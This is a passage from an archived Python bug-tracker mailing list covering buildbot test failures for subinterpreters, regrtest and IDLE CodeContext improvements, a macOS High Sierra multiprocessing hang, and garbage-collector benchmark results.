self.assertEqual(set(interpreters.list_all()), {main, id1, id2}) AssertionError: Items in the first set but not the second: InterpreterID(27) Items in the second set but not the first: 1113006640 ====================================================================== FAIL: test_subinterpreter (test.test__xxsubinterpreters.GetCurrentTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 443, in test_subinterpreter self.assertEqual(cur, expected) AssertionError: 1113007880 != InterpreterID(40) ====================================================================== FAIL: test_from_subinterpreter (test.test__xxsubinterpreters.GetMainTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 465, in test_from_subinterpreter self.assertEqual(main, expected) AssertionError: 1113006680 != InterpreterID(0) ====================================================================== FAIL: test_str (test.test__xxsubinterpreters.InterpreterIDTests) test test__xxsubinterpreters failed ---------------------------------------------------------------------- Traceback (most recent call last): File "/ssd/buildbot/buildarea/3.x.gps-ubuntu-exynos5-armv7l/build/Lib/test/test__xxsubinterpreters.py", line 548, in test_str self.assertEqual(str(id), '10') AssertionError: '0' != '10' - 0 + 10 ? + ---------------------------------------------------------------------- Ran 111 tests in 4.863s FAILED (failures=8, errors=8, skipped=5) 1 test failed again: test__xxsubinterpreters ---------- components: Tests messages: 318345 nosy: eric.snow, vstinner priority: normal severity: normal status: open title: test__xxsubinterpreters failed on ARMv7 Ubuntu 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 17:52:21 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 21:52:21 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527803541.78.0.682650639539.issue33615@psf.upfronthosting.co.za> STINNER Victor added the comment: Now the test runs but doesn't crash anymore: bpo-33724. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:05:51 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:05:51 +0000 Subject: [issue33717] Enhance test.pythoninfo: meta-ticket for multiple changes In-Reply-To: <1527774159.9.0.682650639539.issue33717@psf.upfronthosting.co.za> Message-ID: <1527804351.07.0.682650639539.issue33717@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6917 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:31:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:31:54 +0000 Subject: [issue33718] Enhance regrtest: meta-ticket for multiple changes In-Reply-To: <1527775539.21.0.682650639539.issue33718@psf.upfronthosting.co.za> Message-ID: <1527805914.29.0.682650639539.issue33718@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6918 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:33:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:33:06 +0000 Subject: [issue33717] Enhance test.pythoninfo: meta-ticket for multiple changes In-Reply-To: <1527774159.9.0.682650639539.issue33717@psf.upfronthosting.co.za> Message-ID: <1527805986.51.0.682650639539.issue33717@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 56013218864d5eb81baab4665fcae13400934078 by Victor Stinner in branch 'master': bpo-33717: pythoninfo: add CC --version (#7290) https://github.com/python/cpython/commit/56013218864d5eb81baab4665fcae13400934078 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:41:13 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 22:41:13 +0000 Subject: [issue33724] test__xxsubinterpreters failed on ARMv7 Ubuntu 3.x In-Reply-To: <1527803501.98.0.682650639539.issue33724@psf.upfronthosting.co.za> Message-ID: <1527806473.01.0.682650639539.issue33724@psf.upfronthosting.co.za> Eric Snow added the comment: Thanks, Victor. I'll take a look. FYI, it seems that the same 3 buildbots from bpo-33615 are seeing these same test failures. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:42:47 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 31 May 2018 22:42:47 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527806567.28.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: FYI, I plan on closing this issue only *after* I've re-enabled the crashing test and it passes. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:49:01 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:49:01 +0000 Subject: [issue33718] Enhance regrtest: meta-ticket for multiple changes In-Reply-To: <1527775539.21.0.682650639539.issue33718@psf.upfronthosting.co.za> Message-ID: <1527806941.24.0.682650639539.issue33718@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 9e24930dfdc28e16dabbfd7dd1ead1336b7b0d6c by Victor Stinner in branch 'master': bpo-33718: regrtest keeps filters to re-run fails (GH-7291) https://github.com/python/cpython/commit/9e24930dfdc28e16dabbfd7dd1ead1336b7b0d6c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:52:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:52:47 +0000 Subject: [issue33718] Enhance regrtest: meta-ticket for multiple changes In-Reply-To: <1527775539.21.0.682650639539.issue33718@psf.upfronthosting.co.za> Message-ID: <1527807167.57.0.682650639539.issue33718@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6919 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:57:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:57:55 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527807475.75.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6920 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 18:57:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 22:57:55 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527807475.81.0.682650639539.issue33692@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6920, 6921 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 20:46:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 01 Jun 2018 00:46:20 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527813980.47.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The release candidate has been re-scheduled for June 11. So we should be able to merge the minimal upgrade before that and get it in 3.7.0 and 3.6.6. (The latter will come out at the same time as the former.) Variable lines is about ready. Colors looks like it should be, with a final test needed after variable lines is merged (or maybe I will reverse the order). That leaves line alignment. If you are working on it, but don't have a PR ready yet, please say so. ---------- dependencies: -IDLE: Configurable color on code context _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 20:53:06 2018 From: report at bugs.python.org (Kapil Thangavelu) Date: Fri, 01 Jun 2018 00:53:06 +0000 Subject: [issue33725] High Sierra hang when using multi-processing Message-ID: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za> New submission from Kapil Thangavelu : This issue seems to be reported a few times on various githubs projects. I've also reproduced using a brew install of python 2.7.15. I haven't been able to reproduce with python 3.6. Note this requires a framework build of python. Background on the underlying issue cause due to a change in high Sierra http://sealiesoftware.com/blog/archive/2017/6/5/Objective-C_and_fork_in_macOS_1013.html A ruby perspective on the same issue exhibiting for some apps https://blog.phusion.nl/2017/10/13/why-ruby-app-servers-break-on-macos-high-sierra-and-what-can-be-done-about-it/ The work around seems to be setting an environment variable OBJC_DISABLE_INITIALIZE_FORK_SAFETY prior to executing python. Other reports https://bugs.python.org/issue30837 https://github.com/ansible/ansible/issues/32499 https://github.com/imWildCat/scylla/issues/22 https://github.com/elastic/beats-tester/pull/73 https://github.com/jhaals/ansible-vault/issues/60 ---------- components: macOS messages: 318352 nosy: kapilt, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: High Sierra hang when using multi-processing versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 20:57:05 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 01 Jun 2018 00:57:05 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527814625.56.0.682650639539.issue33642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: On Windows, I observe the following behaviors. 1. When Code Context is enabled on a windows still at its initial height, context lines are added to code lines to increase the window height. 2. When the window height is changed with a mouse, that becomes the fixed height, which is partitioned between context and code lines. In other words, context lines are taken from and given back to code lines. 3. When height is maximized either with ZoomHeight or WindowMaximize, the behavior is as with 2. When height is un-maximized, behavior reverts to what it was, either 1 or 2. What do you see on Linux? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 20:58:19 2018 From: report at bugs.python.org (INADA Naoki) Date: Fri, 01 Jun 2018 00:58:19 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527814699.88.0.682650639539.issue33597@psf.upfronthosting.co.za> INADA Naoki added the comment: https://github.com/python/cpython/pull/7043/commits/053111f321d792fb26f8be10abba24a980f3590f I added one micro optimization. Although it is not relating to two-word-gc directly, it makes gc_collect faster than master on the microbench (without importing tkinter.tix, because no GUI on my Linux environment). $ ./python -m perf timeit --compare-to ./python-master -s "import gc, doctest, ftplib, asyncio, email, http.client, pydoc, pdb, fractions, decimal, difflib, textwrap, statistics, shutil, shelve, lzma, concurrent.futures, telnetlib, smtpd, trace, distutils, pkgutil, tabnanny, pickletools, dis, argparse" "gc.collect()" python-master: ..................... 1.66 ms +- 0.08 ms python: ..................... 1.58 ms +- 0.00 ms Mean +- std dev: [python-master] 1.66 ms +- 0.08 ms -> [python] 1.58 ms +- 0.00 ms: 1.05x faster (-5%) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 21:10:58 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 01 Jun 2018 01:10:58 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527815458.9.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 5, reformulated. Now that 'Code Context' on the Options menu only toggles a feature for the current window, like 'Zoom Height' on the Window menu, both should appear together on the same menu. My current inclination is to move 'Code Context' to Window because a) it is the feature be that will be changed and discussed in What's New, and b) 'Window' otherwise lists individual windows so it more clearly implies that toggles are for the current window without adding a fake menu entry. Agree? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 21:29:13 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 01 Jun 2018 01:29:13 +0000 Subject: [issue28657] cmd.Cmd.get_help() implementation can't see do_*() methods added dynamically by setattr() In-Reply-To: <1478776450.68.0.870801686772.issue28657@psf.upfronthosting.co.za> Message-ID: <1527816553.41.0.682650639539.issue28657@psf.upfronthosting.co.za> Raymond Hettinger added the comment: ISTM the only way dir(self) would make a difference would be if functions we being assigned to instances rather than the class. Also, it's uncleaar why setattr() is at issue -- it works the same way as regular attribute assignment using the dot operator. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 22:04:32 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 01 Jun 2018 02:04:32 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527818672.75.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 18. Error or bounds checking for maxlines entry. I believe this really a config dialog issue that applies to everything, but maxlines should be at least 1, with some reasonable max. In the meanwhile, we could check whether crazy entries (text, negatives, super high) can crash IDLE. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 22:55:09 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 01 Jun 2018 02:55:09 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527821709.46.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 19. idle.rst doc change 20. What's New for 3.6.6 and 3.7.0 These could be patches on this issue. 21. idlelib/NEWS.txt entries ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 23:03:25 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 01 Jun 2018 03:03:25 +0000 Subject: [issue33726] Add short descriptions to PEP references in seealso Message-ID: <1527822205.22.0.682650639539.issue33726@psf.upfronthosting.co.za> New submission from Andr?s Delfino : There are a couple of PEP references with no description in Simple/Compound Statements. Attached PR fixes this. ---------- assignee: docs at python components: Documentation messages: 318359 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Add short descriptions to PEP references in seealso type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 31 23:03:42 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 01 Jun 2018 03:03:42 +0000 Subject: [issue33726] Add short descriptions to PEP references in seealso In-Reply-To: <1527822205.22.0.682650639539.issue33726@psf.upfronthosting.co.za> Message-ID: <1527822222.78.0.682650639539.issue33726@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6922 stage: -> patch review _______________________________________ Python tracker _______________________________________